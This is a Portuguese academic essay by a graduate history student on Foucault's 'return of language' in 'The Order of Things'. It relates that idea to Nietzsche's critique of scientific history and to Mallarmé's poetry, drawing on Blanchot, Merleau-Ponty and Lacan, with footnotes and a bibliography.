O “Espaço Filosófico-Filológico” de Foucault: A experiência de Nietzsche e Mallarmé para um retorno da linguagem nos saberes sobre o homem

O “Espaço Filosófico-Filológico” de Foucault:

A
experiência de Nietzsche e Mallarmé para um retorno da linguagem nos saberes
sobre o homem. *

Mariano
de Azevedo Júnior **

Uma das discussões atuais que
questiona os saberes estabelecidos pelas ciências humanas é a afirmação do
papel central que a linguagem desempenha na produção das realidades. Desde o
século XIX, época do estabelecimento dos saberes científicos no campo das
humanidades, a linguagem foi em certa medida negligenciada ou, na melhor das
hipóteses, subordinada ao pensamento científico que passou a definir o homem
através das investigações da natureza. No entanto, seguindo a análise de Michel
Foucault, é possível encontrar no próprio século XIX a crítica fundamentada
contra a ciência através do anúncio de um “retorno da linguagem”.

            Em As Palavras e as Coisas, Foucault configurou uma transição entre dois sistemas
de pensamento, ou melhor, como ele próprio falaria, entre duas formações
discursivas. Trata-se da passagem da epistéme clássica para a epistéme
moderna. A primeira, marcada pela experiência do pensamento simbolizada na Res
Cogitans
de René Descartes tem como característica a marca mais profunda da
linguagem; o próprio pensamento encarado como linguagem. A segunda, científica,
é em certa medida a rejeição do papel da linguagem; é a separação entre esta e
o pensamento para estabelecer um tipo de saber capaz de buscar as origens e as
explicações do homem, da vida e do mundo através de um estudo sistemático da
natureza. É esta epistéme moderna que alicerçou os conhecimentos sobre o
homem e a sociedade que hoje entendemos como “ciências humanas”. [1]

            Falar em um “retorno da linguagem”
significa recuperar o seu lugar central no processo de significação que dá ao
homem um entendimento sobre si próprio e sobre a sua realidade. Não se trata,
assim, de provocar um retorno da epistéme clássica, de repetir a
experiência cartesiana de “eu penso, logo existo”, mas de considerar que
a significação da própria existência (do real) é fundada no campo da linguagem
e não fora dele como se houvesse apenas uma origem natural, biológica, física e
material que pré-existisse ao sentido que as palavras dão a todas as coisas do
mundo. Entretanto, na própria época em que ocorria a distinção entre pensamento
e linguagem, Foucault trouxe à tona críticas que poderiam, no século XX,
fundamentar a reconfiguração dos saberes sobre o homem marcados sempre por essa
analítica do próprio homem enquanto espécie classificada e originada no curso
evolutivo de uma “história natural”. Para embasar a sua discussão provocadora e
bastante polêmica, Foucault fez ressurgir duas personalidades que tiveram
experiências diretas com o papel da linguagem nas suas obras e pensamento: um
deles foi Nietzsche, no campo da filosofia; o outro foi Stéphane Mallarmé, na
literatura.

            Há aí uma pergunta central lançada
por Nietzsche: “Quem fala?”. Tal questionamento soa no sentido da
análise foucaultiana como uma tentativa de problematizar aquilo que dá
sustentação à própria fala entendida como significado e expressão da realidade.
É talvez a maior crítica lançada contra a distinção total entre pensamento e
linguagem que se configurou na época do estabelecimento dos saberes científicos
que pretenderam finalizar um conhecimento em torno do homem.

 

A linguagem só entrou
diretamente e por si própria no campo do pensamento no fim do século XIX.
Poder-se-ia mesmo dizer no século XX, se Nietzsche, o filólogo – e nisso também
era ele tão erudito, a esse respeito sabia tanto e escrevia tão bons livros -,
não tivesse sido o primeiro a aproximar a tarefa filosófica de uma reflexão
radical sobre a linguagem. [2]

 

 

            Nietzsche teria sido aquele, segundo
Foucault, que aproximou a filosofia de uma reflexão sobre a linguagem
constituindo desse modo um “espaço filosófico-filológico” no qual a linguagem
desempenha uma função importante na composição da própria experiência do
pensamento que caracteriza a tarefa filosófica. Nesse sentido, se Nietzsche
lança a pergunta, para Foucault é Mallarmé que elabora uma resposta ao
experimentar a própria linguagem em sua obra poética. Então, ele aponta qual
teria sido tal resposta: “quem fala é a palavra no seu sentido mais precário
e enigmático”
. [3]

            Afirmar que a “palavra é quem fala”
é considerar todo o valor significante contido nela própria. Isso, dito de
outro modo, significa dizer que a palavra em si possui o germe fundador da
realidade e é o elemento último da linguagem. É uma análise da poesia de
Mallarmé que traduz a experiência daquilo que Maurice Blachot chamou de “espaço
literário”. [4]
Escutar a palavra falar é, para Blanchot, “sondar o verso”; que é o mesmo que
se posicionar diante das palavras que falam ininterruptamente, até que o poeta,
na sua “mórbida” tarefa, cale-as. Com toda a complexidade que a análise de
Blanchot revela, me arrisco a interpretar, mesmo que seja preciso apenas
perceber, que a tarefa do poeta é calar as palavras, imputar-lhes o silêncio. E
o poeta, esse repressor de falas, fala ele próprio quando cala o que está sendo
dito constantemente; o poeta é aquele que escuta essa fala eterna das palavras
sendo a sua obra nada mais que a atribuição de um sentido provocado pelo
momento em que um silêncio foi imputado às palavras falantes. Quando isso
ocorre, a linguagem, que nesse caso é mais a forma do poema do que o conteúdo,
já está falando por si só, ganhando fala própria que é separada da fala do
poeta e da fala das palavras que antes não eram poesia, mas apenas fala. Como
disse o próprio Blanchot, “não é Mallarmé quem fala mas é a linguagem que se
fala, a linguagem como obra e a obra da linguagem”
. [5]

            Na tarefa dada por Foucault,
Nietzsche e Mallarmé são exemplos de experimentação da linguagem. Um utilizou a
filosofia para questionar e sugerir o retorno da linguagem diante do
estabelecimento dos saberes que a negligenciaram; o outro a praticou
diretamente no campo da poesia e da literatura, representando desse modo o seu
próprio retorno. Seguindo as sugestões apresentadas no livro de Foucault, As
Palavras e as Coisas
, é preciso buscar algo mais dessas duas personalidades
que permita aprofundar reflexões sobre essa discussão bastante atual que coloca
em xeque a autoridade outrora inquestionável das ciências humanas.

            O que poria em movimento esse
retorno da linguagem não seria, como já foi dito, um regresso à epistéme
clássica dos séculos XVII e XVIII; não se trata de encarar o pensamento de uma
maneira unidirecional na qual a linguagem seja sinônimo de realidade. É preciso
uma articulação, afirma Foucault, uma nova forma de se pensar o homem. É
necessário que se duplique esse homem, ele dirá, porque não é possível que ele
possa ser compreendido de uma única forma, como a epistéme clássica
pretendeu justificá-lo apenas pela experiência do pensamento racional, ou como
a epistéme moderna do século XIX quis compreendê-lo como um objeto
classificável dentro da ordem natural do mundo. Por essa razão foi que Foucault
afirmou que o homem deve ser visto como um “um estranho duplo
empírico-transcendental”
. [6]

O estabelecimento dos saberes
sobre o homem no século XIX provocou a distinção entre o empírico, que é a
verdade do objeto, e o transcendental, verdade do discurso. Duas verdades que
deveriam estar entrelaçadas: natureza humana e natureza devem estar imbricadas
uma na outra para só então o lugar da linguagem aparecer nessa complexa
conceituação do homem. Essa duplicidade da qual Foucault é um importante
defensor está muito bem representada – e talvez até seja aqui a base do seu
pensamento – na filosofia de Merleau-Ponty. Para ele, o homem também é um
duplo, formado pela relação entre sentido e linguagem.

O criador de uma nova
fenomenologia, a da percepção, afirma a experiência humana a partir dos
primeiros contatos do ser com as coisas concretas do mundo, notadamente através
da experiência do olhar. O campo da visão seria, para Merleau-Ponty, a primeira
forma de contato entre o ser e o mundo, inclusive no reconhecimento do seu
próprio corpo. A linguagem aparece justamente na função que as palavras exercem
na constituição dos significados de todas as coisas: é a composição da própria
realidade provocada pela experimentação do mundo através da sensibilidade
humana. Nada tem um sentido prévio, pré-existente à experiência do ser no
mundo. E todo o resto é conseqüência de tal experiência! Essa relação intitulou
um dos livros do próprio Merleau-Ponty, O Visível e o Invisível. [7]

Nenhuma das coisas existentes,
incluindo o próprio homem, é concebida de uma forma a priori na
“fenomenologia da percepção”; os sentidos de todas as coisas são criados por
uma experiência duplicada: uma delas é a experimentação do mundo concreto pelo
ser; a outra, que se entrelaça com a primeira ao invés de se distinguir dela, é
a significação desse mundo real na prática da linguagem, ela própria que se
realiza no campo da percepção.          Chegar a uma concepção “dupla” do homem
é pensar uma razão existencial que não a de Descartes, no período clássico.
Enquanto a Res Cogitans cartesiana justificava o “eu sou” pelo “eu
penso”
, esse novo cogito, duplicado, constitui um entendimento do
ser através da articulação entre o pensado e o impensado. [8] Basicamente se
trata da relação entre o consciente e o inconsciente, problematizado e
discutido primeiramente no campo da psicanálise.

            Talvez o nome que nos venha
imediatamente à mente ao falar de inconsciente seja o de Freud, o seu grande
“inventor”. No entanto, ao associar inconsciente e linguagem, não é a Freud que
devemos fazer maiores referências, mas sim ao continuador da sua obra, Jacques
Lacan. Para Lacan, o inconsciente é linguagem, é forma, imagem que não
necessariamente “explica” um dado comportamento do indivíduo; enquanto que para
Freud, o inconsciente se tratava de uma representação manifestada e percebida
na consciência, no pensado. A diferença básica entre Freud e Lacan é justamente
que o primeiro pensou o inconsciente a partir da consciência, e o segundo
encarou-o como algo que não pode ser significado, que não pode ser nomeado, que
é significante e não significação; o inconsciente, para Lacan, é forma, não
conteúdo. O inconsciente, o não-pensado, foi encarado assim como linguagem. [9]

            As reflexões lacanianas sobre o
inconsciente se conectam com a “fenomenologia da percepção”, de Merleau-Ponty.
Pois o indivíduo, tanto para Lacan quanto para Merleau-Ponty não é constituído
a partir de uma natureza que pré-existe ao próprio ser, mas é o resultado de
uma relação que se estabelece com o “outro”. [10]
Na fenomenologia de Merleau-Ponty, é o olhar do outro que define o ser; na
psicanálise de Lacan, é a fala. A fala do outro é aquilo que orienta e dá
sentido à existência, no entanto, ao contrário de uma natureza que foge à
esfera do próprio pensamento, há um universo feito de linguagem que recebe o
ser, formando-o, justificando-o no mundo. Tal universo composto por signos e
significantes é o próprio inconsciente, uma estrutura mais profunda do que o
próprio ser e que elabora um processo de significação ao se articular com a
consciência, dando sentido à existência do homem. Foucault chamou isso de um “deslocamento
da questão transcendental”
; justamente aquilo que anuncia essa
“necessidade” de escapar ao pensamento científico que distingue o pensado do
não-pensado para encarar o homem como um duplo empírico-transcendental,
entrelaçando, e não mais separando consciente e inconsciente, pensado e
impensado. Pode-se conceber, portanto, duas dimensões que fundamentam a existência
do homem; sobretudo, pode-se ver aí o anúncio de um “novo homem”.

            Esse homem duplicado não pode mais
ser o homem das ciências humanas, um objeto de estudo verificável,
classificável e cientificamente explicável. Encará-lo como algo que é ao mesmo
tempo “empírico” e “transcendental” é quebrar a lógica da própria epistéme moderna
que fundamentou os saberes da ciência.

 

Inútil, pois, dizer que
as “ciências humanas” são falsas ciências; simplesmente não são ciências; a
configuração que define sua positividade e as enraíza na “epistéme” moderna
coloca-as, ao mesmo tempo, fora da situação de serem ciências; e se se
perguntar então por que assumiram esse título, bastará lembrar que pertence à
definição arqueológica de seu enraizamento o fato de que elas requerem e
acolhem a transferência de modelos tomados de empréstimos a ciência. Não é,
pois, a irredutibilidade do homem, aquilo que se designa como sua invencível
transcendência, nem mesmo sua complexidade demasiado grande que o impede de
tornar-se objeto de ciência. A cultura ocidental constituiu, sob o nome de
homem, um ser que, por um único e mesmo jogo de razões, deve ser domínio
positivo do saber e não pode ser objeto de ciência. [11]

 

 

            Questionar o homem e a maneira como
ele é explicado nas ditas “ciências humanas” é se deparar com o problema das
suas origens e, principalmente, da busca incansável das suas origens. Questão
que envolve, principalmente, a historicidade do próprio homem. A “história
científica” procura muitas vezes essa origem na natureza, desconsidera a
linguagem como aquilo que também produz as realidades humanas. Nietzsche já
criticava, no século XIX, essa historicidade que priorizava uma busca das
origens naturais e “históricas”, esquecendo de reflexões mais profundas sobre o
papel da linguagem. Para entender melhor a crítica nietzschiana é necessário
recolocar Nietzsche no rumo da nossa discussão contemporânea.          

As maiores críticas de
Nietzsche – ou pelo menos onde elas estão reunidas – à história se encontram justamente
numa obra chamada Considerações Intempestivas, ou seja, que age contra o
tempo. Tempo que é a categoria fundamental que sustenta a história e a sua
busca das origens. A Segunda Consideração Intempestiva problematiza a
relação entre “história” e “vida”, voltando-se para a própria concepção de
homem posta em discussão. Para Nietzsche, essa história que se pretendia
científica aniquilava o homem que era percebido como sendo a própria

experiência da vida; a história que busca as origens do homem mata-o e arruína
a sua vida quando procura entendê-lo e a sua sociedade a partir de uma
cronologia, de um recuo no tempo. [12]
Pois para o filósofo e filólogo alemão, o sentido histórico da vida anula a
experimentação do homem no presente. Se a vida ganha um sentido histórico
marcado por uma série de origens explicáveis, a lembrança dos homens de uma
história e de um passado os impede de sentirem a vida no presente,
retirando-lhes sua possível felicidade.

            Notadamente aqui se vê um Nietzsche
ainda marcado pela filosofia de Schopenhauer, para quem a felicidade só era
possível para os seres destituídos da capacidade de pensar o tempo. Para
Schopenhauer, os homens não eram capazes de serem felizes justamente porque se
preocupavam com o tempo e tentavam fundamentar as suas vidas em uma linha
cronológica, olhando para um passado, pensando um presente sufocado pela
experiência de tal passado e pela possibilidade de um futuro. Mas embora haja
essa influência indiscutível, Nietzsche não criticou a história apenas pela
“lembrança cronológica” que ela impunha aos homens do presente, mas sim porque
se tratava de uma história que se pretendia científica; que queria achar as
origens do próprio homem, o que para ele significava tentar solucionar um
problema impossível e que, principalmente, não deveria ser encarado e resolvido
pela história, mas sim pela filosofia, o único conhecimento capaz de constituir
“verdades universais”. [13]

            Para Nietzsche, o papel da história
era ser “útil” à vida dos homens do presente. Tratava-se de um espelho humano a
ser observado (lembrado) e, se possível, repetido para a constituição da
felicidade. A história não deveria ser uma ciência, para Nietzsche, mas um
conhecimento erudito e universal úteis às sociedades do presente. Apaixonado
pelos gregos clássicos, Nietzsche concebia a história como uma recorrência de
fatos, tal como concebeu Aristóteles em sua Política. A história deveria ser um instrumento que serve à vida dos homens e não
um domínio da própria vida que tenta entender e explicar o homem. Essa visão
nietzschiana se associa com o que já foi discutido neste texto sobre a
constituição de uma analítica (um saber) sobre o homem, que se tornou, pela
busca das suas origens, a própria razão da existência.

 

A história, uma vez que
se encontra a serviço da vida, se encontra a serviço de um poder a-histórico, e
por isto jamais, nesta hierarquia, poderá e deverá se tornar ciência pura, mais
ou menos como o é a matemática. Mas a pergunta “até que grau a vida necessita
em geral do auxílio da história?” é uma das perguntas e preocupações mais
elevadas no que concerne à saúde de um homem, de um povo, de uma cultura. Pois,
em meio a certo excesso de história, a vida desmorona e se degenera, e, por
fim, através desta degeneração, o mesmo se repete com a própria história. [14]

 

 

            Essa nova “cultura histórica” que
invadiu a Europa no século XIX – e principalmente a Alemanha de Nietzsche –
transformou a civilização ocidental na sociedade dos conteúdos, onde houve uma
negligência completa da forma: conteúdo, a interioridade; forma, a
exterioridade. Nietzsche acusa veementemente a sociedade formada pelo
pensamento científico e racional que preza unicamente pelo conteúdo dando pouca
importância ao caráter exterior da vida. É a definição de uma civilização que
se afirma por uma cultura do conhecimento projetada para dominar pelo saber.
Qualquer nível de experimentação da realidade estava subordinado às concepções
metafísicas, essenciais e interiores, assim como a vida se sujeitou ao domínio
da história encarada como um saber constituído sobre ela. [15]

            As reflexões presentes de Nietzsche
mostram o contexto em que a própria Alemanha está envolvida: o processo de unificação
política. Assim como pensou Goethe – e insistentemente Nietzsche sempre volta a
Goethe -, Schiller e outros, o contexto da unificação alemã promoveu o
desenvolvimento de um conceito particular aos alemães: o de kultur; ou
seja, o estágio da sociedade que abriga os valores e as “coisas de espírito” de
um dado povo. Como os seus contemporâneos mais eruditos, Nietzsche estava
decepcionado em ver uma Alemanha que se dizia pronta para uma unificação
copiando ou reproduzindo os modelos de vida – ele chama “convenções sociais” –
da França, ou de uma França pioneira em fundar um termo central para identificar
a sua centralidade no Ocidente: civilisation. [16]

            Ele queria algo que distinguisse a
Alemanha, que caracterizasse o povo alemão visivelmente, não sendo suficiente
apenas o conteúdo de uma intelligentsia que floresceu desde o século
XVIII. Nietzsche, filólogo, dava demasiada importância à forma que deveria se
entrelaçar com o conteúdo e não permanecer separada, como se fosse algo menos
importante, subordinada à essência das coisas. A forma é linguagem; a imagem
das coisas representa significados reais e efetivos na experimentação do mundo
e da vida. Desse modo, a história que se pretendia científica e que invadia as
universidades alemãs era acusada de dar ao povo alemão uma “cultura histórica”
fixada no tempo e marcada pela totalização de um conhecimento sobre o homem e as
sociedades. Em suma, uma história que aniquilava as exterioridades da vida ao
dar importância excessiva ao conhecimento histórico do passado dos povos: um
conteúdo que era uma arma de dominação e controle. Os homens, para Nietzsche,
estavam condenados e aprisionados pela própria cultura histórica que os impedia
simplesmente de esquecer o tempo e que os forçava constantemente a lembrar de
um passado que, desfigurado, só teria algum sentido se promovesse uma
explicação concreta – provada – que justificasse o estado atual das sociedades
no presente.

            Entretanto, pode-se concluir que
mais do que a unificação política, Nietzsche queria outra unificação: a que
completasse o sentido de uma Alemanha entrelaçada na relação entre a sua
essência (cultura, valores) e as suas exterioridades particulares (convenções).
Tratava-se de pensar uma Alemanha plena, que pudesse ser percebida também no campo
das aparências, da forma.

 

Com isso, não deixo
nenhuma dúvida de onde tomo o exemplo daquela necessidade, daquela privação,
daquele conhecimento: assim, aqui deve constar expressamente o meu testemunho,
que é a unidade alemã neste sentido supremo que nós almejamos, e a almejamos
mais ardentemente do que a reunificação política: a unidade do espírito e da
vida alemães depois da aniquilação da oposição entre forma e conteúdo, entre
interioridade e convenção. [17]

 

 

            A historicidade que criou um homem
definido pelas marcas do pensamento científico e moderno é o grande alvo de
Nietzsche. Quando ele criticou a separação entre forma e conteúdo que o advento
da “história científica” promoveu, foi mais para criticar esse modelo de homem
que é visto como um objeto de investigação da ciência. Foi, mais ainda, para
denunciar uma história que pretendia ir além do lugar onde poderia chegar ao pretender
redescobrir o homem na natureza, revelando as suas origens. Se, para Nietzsche,
era preciso falar de uma sociedade que valorizasse tanto a essência das coisas
quanto as aparências, encontrar uma única origem, fixa, para o homem era tentar
refletir sobre questões que só a filosofia poderia ter como tarefa. Era tentar
dar um novo lugar à experiência filosófica, não mais idealista ou puramente
metafísica, mas uma que se voltasse, sobretudo, para a reflexão das práticas
dos homens na realidade.

            Entretanto, sou tentado a dizer que
a unificação entre forma e conteúdo proposta por Nietzsche se associa à idéia
de um homem duplo, empírico e transcendental que Foucault mencionou em As Palavras e as Coisas. Afinal de contas, Nietzsche foi o precursor, para Foucault,
de uma tentativa que faria retornar o lugar da linguagem no pensamento moderno.
Não há dúvidas de que a proposta nietzschiana de unificação entre forma e conteúdo
se tratava justamente disso.

            O que é colocado em jogo, então, é o
conceito de homem. Este que não deve mais ser objeto de estudo de uma história
que se movimenta numa concepção de tempo naturalizado e completamente abstrato.
As reflexões de Nietzsche sobre a história ainda são importantes para fazer com
que os historiadores de hoje se voltem para uma tarefa primordial: não encarar
o homem como parte de uma natureza investigável, mas como uma construção da
linguagem, um conceito feito para gerar um entendimento (ou uma percepção) da
experiência da existência do ser na constituição da vida e do mundo… Da
realidade. Como disse Foucault, quando Nietzsche anunciou a morte de Deus, não
era necessariamente uma divindade que deveria morrer. Tal Deus, criador da
natureza da qual o homem faz parte, deveria morrer para que, enfim, o homem
pudesse desaparecer. O homem enquanto conceito, esse homem único, não-duplo,
feito de origens e completamente dependente do ritmo natural do tempo e da
história. [18]
Talvez aqui resida a idéia de um Übermensch (super-homem), de um além do
homem, que é o anúncio de um novo homem, de uma nova experiência do pensamento
e, dessa forma, do retorno do “ser da linguagem”. “O homem é uma invenção
cuja recente data a arqueologia de nosso pensamento mostra facilmente. E talvez
o fim próximo”
. [19]

            Assim como Nietzsche embasou suas
reflexões sobre a linguagem em nomes importantes da literatura como Goethe,
Foucault também foi muito próximo da literatura e de importantes teóricos desta
área como Maurice Blanchot e Roland Barthes. A literatura possui na sua
natureza um lugar reservado à linguagem. É da experimentação da própria
linguagem que a literatura vive a se transformar livremente, sem o peso de uma
consciência científica que geralmente teme mudanças. Talvez esse seja o motivo
pelo qual o retorno da linguagem implique, também, numa aproximação inevitável
de algumas das ciências humanas com a literatura. Não obstante, aproximação que
tem provocado polêmicas intermináveis. Essa caracterização da literatura
explica a aproximação provocada por Foucault entre Nietzsche e Mallarmé. É a
representação da tarefa filosófica – que é experiência do pensamento –
aproximada da linguagem praticada na literatura.

Stéphane Mallarmé foi um poeta
do século XIX conhecido entre alguns estudiosos de literatura como o inventor
da “poesia concreta”. Gênero de poemas que teve como precursor o seu Un Coup
de Dés jamais n’abolira le Hazard
Um lance de Dados Jamais abolirá o
Acaso
. Un Coup de Dés foi estruturado a partir de uma relação íntima
entre o papel e as palavras. Muito mais que os dizeres das palavras, são a
forma e a imagem do poema que tem significado; que representa a profundidade e
o efeito da linguagem na leitura do próprio poema. Desenhando com palavras,
Mallarmé, como diz Augusto de Campos, criou o primeiro “poema-estrutura”. [20]

            Um poema-estrutura se configura
através da imagem gerada pela própria obra, composta pela leitura tanto dos
caracteres quanto do vazio da página em branco, que também possui um sentido
enorme, podendo representar o nada ou o silêncio após um naufrágio gerado pelo
acaso. Nesse sentido, não é o conteúdo mas a forma que importa. Ao ler o “poema
mallarmaico” nos deparamos com uma linguagem que fala por si só, sem dar vez às
explicações do conteúdo. É algo em primeiro lugar percebido, sentido. Pode-se
enquadrar essa interpretação poética da obra de Mallarmé na concepção de
literatura de Maurice Blanchot, a quem já fizemos referência no início deste
artigo: uma literatura que não necessariamente existe como uma coisa em si, a
ser explicada, mas como algo que de maneira impactante, acontece.

 

(…) o que se deve
dizer é que ela (a literatura) jamais existe à maneira de uma coisa ou de um
ser em geral. O que cumpre dizer, (…), é que a literatura não existe ou então
que, se acontece, é como alguma coisa “que não acontece como qualquer objeto
que existe”. (grifo meu) [21]

 

 

            A linguagem do poema de Mallarmé é
percebida na forma que este possui. O sentido de toda a poesia é expresso não
por uma interpretação das palavras, mas pela imagem formada por estas que estão
a falar por si só, constituindo, como disse Blanchot, uma “linguagem que se
fala”. Desse modo, se a filosofia de Nietzsche instiga uma questão crucial para
provocar o retorno da linguagem, a poesia de Mallarmé surge como o exemplo da
própria linguagem retornada diante da questão proposta por Foucault em As Palavras e as Coisas. A “forma mallarmaica”, e não necessariamente o
conteúdo aparece como a prática da linguagem na produção de uma realidade: a realidade
literária do poema.

 

            Discutir o retorno da linguagem não
é uma tarefa das mais fáceis para aqueles que pensam as ciências humanas. Daí a
minha opção em seguir no rumo de uma das discussões mais profundas lançadas
sobre o assunto, feita há décadas, mas que sobrevive até os dias atuais. As
Palavras e as Coisas
é um livro, em primeiro lugar, provocador: ele anuncia
uma outra etapa do pensamento ocidental que não pode se afirmar senão pela
desconstrução de muitas posturas e verdades produzidas pelas ciências humanas.
O objetivo que se pretendeu com este texto não foi apenas repetir com outras
palavras o que Foucault sistematizou profundamente em sua obra; trata-se
justamente de seguir as pistas deixadas por ele e reviver a tarefa de pensar ainda
um retorno da linguagem no campo das humanidades.

            Desse modo, optei por buscar entender
um pouco mais do pensamento de Nietzsche e da obra poética de Mallarmé que
parece ter “inspirado” a discussão foucaultiana em As Palavras e as Coisas. Com a Segunda Consideração Intempestiva de
Nietzsche pude associar a sua proposta de uma unificação entre forma e conteúdo
à necessidade dita por Foucault de fazer retornar o papel da linguagem nos
saberes pretensamente científicos sobre o homem. Mais ainda, pude ver em um
entendimento geral da poesia de Mallarmé que esse retorno pode se constituir a partir
de uma aproximação com a literatura, lugar da própria linguagem praticada.
Talvez seja a expressão da herança nietzschiana que Foucault disse ter
possuído. Afinal de contas, não pode ser simples coincidência que Foucault
tenha estado tão próximo da literatura como Nietzsche esteve em seu tempo.
Talvez seja mesmo essa tarefa “filosófico-filológica” que ele atribuiu a
Nietzsche, o anúncio de um novo lugar para a experiência do pensamento, uma
nova filosofia e uma aproximação de tal experiência com a linguagem assim como
Nietzsche desejou. Pensar essa tarefa é, principalmente, refletir sobre as
origens da realidade no mesmo tempo em que se problematiza o conceito de homem.
Retornar a linguagem é dar toda a força possível à eficácia dos discursos
produzidos; é inclusive entender que um discurso construído serve como instrumento
de poder capaz de dominar os homens e controlar as verdades produzidas sobre
ele.

Quando Foucault falou em um
retorno da linguagem foi justamente para discordar dessas verdades enraizadas
numa cronologia histórica capaz de explicar origens e raízes, como Nietzsche
fez antes dele; foi para dizer também que uma realidade é produzida mais na
construção de discursos – expressões da linguagem – do que por um amontoado de
fatos que se sucedem em uma linha evolutiva de uma história natural. Próximo da
reflexão literária viu que o retorno da linguagem pode dar-se a partir de uma
aproximação intensa com a literatura; que a literatura é capaz de mostrar que o
papel da linguagem também cria realidades. Não se trata com isso de dizer que
toda experiência humana é simplesmente inventada como são os universos
literários; mas a partir do momento em que se anuncia um novo homem – e o homem
é o elemento último pelo qual se dá a experiência no real – se fala também de
uma nova maneira de perceber a realidade e as verdades que a sustentam.

É por essa razão que toda a
reflexão gira em torno do conceito de homem. Repensar o campo das humanidades é
questionar o entendimento estabelecido sobre este homem para que
conseqüentemente se possa questionar as verdades produzidas sobre ele. Assim,
Foucault recobrou a tarefa fundamental e bastante ameaçadora que marcou a
filosofia de Nietzsche no século XIX: anunciar um novo conceito de homem que
seja capaz de produzir outra maneira de ver e entender o mundo. Para essa
função Nietzsche buscou muitas vezes a literatura de Goethe, enquanto Foucault
se aproximou da poesia de Mallarmé. Ainda continuou sendo, com Foucault, a
tentativa de ameaçar a ciência confrontando-a com aquilo que ela aprendeu a
negar: a própria linguagem.

Fazer a linguagem retornar é,
para Foucault, repetir a experiência do pensamento nietzschiano com a
construção de espaços filosófico-filológicos possíveis a partir de uma
aproximação com a literatura. É, sobretudo, pensar esse retorno com os
instrumentos intelectuais que as próprias ciências humanas forneceram. E com
isso não se trata de negar os saberes estabelecidos sobre o homem, mas de
atualizá-los diante da “reconsideração” da linguagem: por isso duplicar o
homem, para que seja possível entender uma realidade que não é constituída
apenas de verdades empíricas, mas também das transcendentais. Fazendo renascer
as “ambições” intelectuais nietzschianas, pode-se dizer que o retorno da
linguagem anunciado por Foucault em As Palavras e as Coisas é a recuperação da experiência de um “espaço filosófico-filológico”. Sua tarefa
particular é – como foi a de Nietzsche – aproximar o pensamento filosófico da
reflexão literária com a meta de recuperar o papel da linguagem na busca do
conhecimento do homem na sua experimentação do mundo.

Bibliografia

 

 

BLANCHOT, Maurice. O Espaço Literário.
Rio de Janeiro: Rocco, 1987.

 

CAMPOS,
Augusto de. PIGNATARI, Décio. CAMPOS, Haroldo de. Mallarmé. São Paulo:
Perspectiva, 2006.

 

ELIAS, Norbert. Da Sociogênese dos
conceitos de “civilização” e “cultura”.
In: O Processo Civilizador: uma
história dos costumes. Rio de Janeiro: Jorge Zahar Editor, 1994. v.1. p. 21-50.

 

FOUCAULT,
Michel. As Palavras e as Coisas. São Paulo: Martins Fontes, 2002.

 

MERLEAU-PONTY, Maurice. Fenomenologia
da Percepção.
São Paulo: Martins Fontes, 1999.

 

__________________________. O Visível
e o Invisível
. São Paulo: Perspectiva, 1984.

 

NIETZSCHE, Friedrich. Segunda
Consideração Intempestiva:
da utilidade e desvantagem da história para a
vida. Rio de Janeiro: Relume Dumará, 2003.

 

PALMIER, Jean-Michel. Lacan:
iniciação e debate. São Paulo: Melhoramentos, 1977.

 

Saussure; Hjelmslev;
Jakobson; N. Chomsky. As
Palavras sob as palavras:
os anagramas de Ferdinand de Saussure. In: Os Pensadores
(Coleção). São Paulo: Editora Abril Cultural, 1975.                     

 


*
Texto apresentado como trabalho final para a disciplina “A influência da
Virada Lingüística na historiografia”
, ministrada pelo Prof. Dr. Durval
Muniz de Albuquerque Júnior.

**
Aluno do mestrado em História e Espaços da Universidade Federal do Rio Grande
do Norte.

[1] A edição utilizada para este trabalho é:
FOUCAULT, Michel. As Palavras e as Coisas. São Paulo: Martins Fontes,
2002.

[2] Ibidem. p. 420

[3] Ibidem. p. 421

[4] BLANCHOT, Maurice. O Espaço Literário. Rio de Janeiro: Rocco, 1987.

[5] Ibidem. p. 35

[6] FOUCAULT, Michel. Op.Cit. p. 439.

[7] MERLEAU-PONTY, Maurice. O Visível e o
Invisível
. São Paulo: Perspectiva, 1984.

[8] FOUCAULT, Michel. Op.Cit. p. 446-447.

[9] Ao me referir aos termos “signo”,
“significante” e “significado” menciono na verdade a fórmula elaborada por
Ferdinand de Saussure, lingüista do século XIX que desenvolveu um estudo
sistemático da língua. Na busca pelo “fato lingüístico”, Saussure quis estudar a
língua sincronicamente a fim de compreender as funções que os seus elementos
constituintes desempenham. Para isso, de um modo geral, entende-se a
articulação entre três denominações que na realidade são encaradas como funções
da língua: “signo = significante + significado”. Para maiores detalhes,
ver: Saussure; Hjelmslev; Jakobson; N. Chomsky. As Palavras sob as palavras:
os anagramas de Ferdinand de Saussure. In: Os Pensadores (Coleção). São
Paulo: Editora Abril Cultural, 1975.

[10] Para maiores aprofundamentos sobre o
inconsciente enquanto linguagem e a relação com o “outro” a partir da fala,
ver: PALMIER, Jean-Michel. Lacan: iniciação e debate. São Paulo:
Melhoramentos, 1977.

[11] FOUCAULT, Michel. Op. Cit. p.507

[12] NIETZSCHE, Friedrich. Segunda
Consideração Intempestiva:
da utilidade e desvantagem da história para a
vida. Rio de Janeiro: Relume Dumará, 2003. p. 5-7.

[13] Ibidem. p. 44.

[14] Ibidem. p. 17.

[15] Ibidem. p. 37.

[16] Uma leitura importante para entender as
origens e a oposição entre os termos kultur e civilisation está
na obra de Norbert Elias. ELIAS, Norbert. Da Sociogênese dos conceitos de
“civilização” e “cultura”.
In: O Processo Civilizador: uma história
dos costumes. Rio de Janeiro: Jorge Zahar Editor, 1994. v.1. p. 21-50.

[17] NIETZSCHE, Friedrich. Op.
Cit.
p. 40.

[18] FOUCAULT, Michel. Op. Cit. p. 533.

[19] Ibidem. p. 536.

[20] CAMPOS, Augusto de. Poesia,
Estrutura.
In: Mallarmé. São Paulo: Perspectiva, 2006. p. 177-179.

[21] BLANCHOT, Maurice. Op.
Cit.
p. 36.

